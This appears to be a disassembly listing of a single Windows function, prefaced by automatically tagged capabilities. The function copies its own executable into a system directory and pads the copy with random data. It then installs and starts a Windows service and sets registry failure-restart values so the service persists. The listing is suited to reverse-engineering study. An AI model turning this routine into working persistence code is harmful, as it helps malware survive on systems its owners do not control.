Function at 0x402280
Capabilities:
Copy file
Create directory
Create service
Delete file
Get common file path
Persist via windows service
Set file attributes
Set registry value
Start service
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402ba0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4bc
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x2bf]
mov byte [ebp - 0x2c0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x10], esp
push str.GetModuleFileNameA
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2c0]
push 0x104
push ecx
push ebx
call eax
lea edx, [ebp - 0x2c0]
push edx
call fcn.004021e0
lea eax, [ebp - 0x2c0]
push eax
call sub.MSVCRT.dll_puts
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x404414]
add esp, 8
sub eax, ebx
je 0x40236c
dec eax
je 0x40234d
dec eax
je 0x40232e
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x158]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [ebp - 0x158]
mov edi, 0x404910
jmp 0x40238f
lea eax, [ebp - 0x158]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x158]
mov edi, 0x404910
jmp 0x40238f
lea eax, [ebp - 0x158]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x155], bl
lea edx, [ebp - 0x158]
mov edi, str.Program_Files_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x404418
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40242f
mov edi, 0x404418
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x158]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x158]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, 0x404910
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x158]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40451c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x158]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x404620]
mov ecx, edx
and ecx, 3
cmp eax, ebx
rep movsb byte es:[edi], byte [esi]
je 0x402476
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x158]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x158]
push 1
lea eax, [ebp - 0x2c0]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x158]
test ecx, ecx
je 0x40256a
lea edx, [ebp - 0x158]
push 0x4048fc
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x40256a
push ebx
call sub.MSVCRT.dll_time
push eax
call sub.MSVCRT.dll_srand
add esp, 8
call sub.MSVCRT.dll_rand
lea eax, [eax + eax*2]
mov ecx, 0x18
lea edi, [ebp - 0x1bb]
mov byte [ebp - 0x1bc], bl
lea esi, [eax + eax*4]
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call sub.MSVCRT.dll_rand
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, edx
jne 0x40251d
mov ecx, 1
sub ecx, eax
mov eax, ecx
cmp eax, 0xff
jbe 0x402529
sub eax, 0xff
mov dl, al
mov ecx, 0xc
mov dh, dl
lea edi, [ebp - 0x1bc]
mov eax, edx
shl eax, 0x10
mov ax, dx
cmp esi, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
jbe 0x40255e
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1bc]
push eax
push ecx
call sub.MSVCRT.dll_fputs
add esp, 8
dec esi
jne 0x402548
mov edx, dword [ebp - 0x14]
push edx
call sub.MSVCRT.dll_fclose
add esp, 4
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3c3]
mov byte [ebp - 0x3c4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x158]
lea ecx, [ebp - 0x3c4]
push eax
push str.__s_
push ecx
call sub.MSVCRT.dll_sprintf
lea edx, [ebp - 0x3c4]
push edx
call sub.MSVCRT.dll_puts
add esp, 0x10
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x48], edi
jne 0x4025dd
lea eax, [ebp - 0x4c]
push 0x4031e0
push eax
mov dword [ebp - 0x4c], 1
call sub.MSVCRT.dll__CxxThrowException
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x3c4]
push ebx
push ecx
push ebx
push 2
push 0x10
push 0xf01ff
push 0x40420a
push 0x404106
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x14], esi
jne 0x402653
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x402653
push 0xf01ff
push 0x404106
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
jne 0x402647
lea edx, [ebp - 0x50]
push 0x4031e0
push edx
mov dword [ebp - 0x50], 1
call sub.MSVCRT.dll__CxxThrowException
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, dword [ebp - 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x4c7]
mov byte [ebp - 0x4c8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push esi
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x402693
lea eax, [ebp - 0x54]
push 0x4031e0
push eax
mov dword [ebp - 0x54], 1
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x4027c6
ret
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x4c8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x4c8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x404106
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x4c8]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x44], bl
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x42], bl
mov byte [ebp - 0x41], bl
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], bl
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], bl
mov byte [ebp - 0x3b], bl
mov byte [ebp - 0x3a], bl
mov byte [ebp - 0x39], bl
mov byte [ebp - 0x38], 3
mov byte [ebp - 0x37], bl
mov byte [ebp - 0x36], bl
mov byte [ebp - 0x35], bl
mov byte [ebp - 0x34], 0x53
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], 1
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], bl
mov byte [ebp - 0x2d], bl
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], bl
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 1
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x25], bl
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x23], bl
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 1
mov byte [ebp - 0x1f], bl
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], bl
mov eax, dword [ebp - 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [ebp - 0x44]
push 0x2c
push edx
push 3
push ebx
push str.FailureActions
push eax
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x19], bl
call esi
push 0x40430e
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x18]
push eax
push 0x40430e
push 1
push ebx
push str.Description
push ecx
call esi
jmp 0x4027c8
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x4027d6
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x48]
cmp eax, ebx
je 0x4027e4
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x4027f2
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret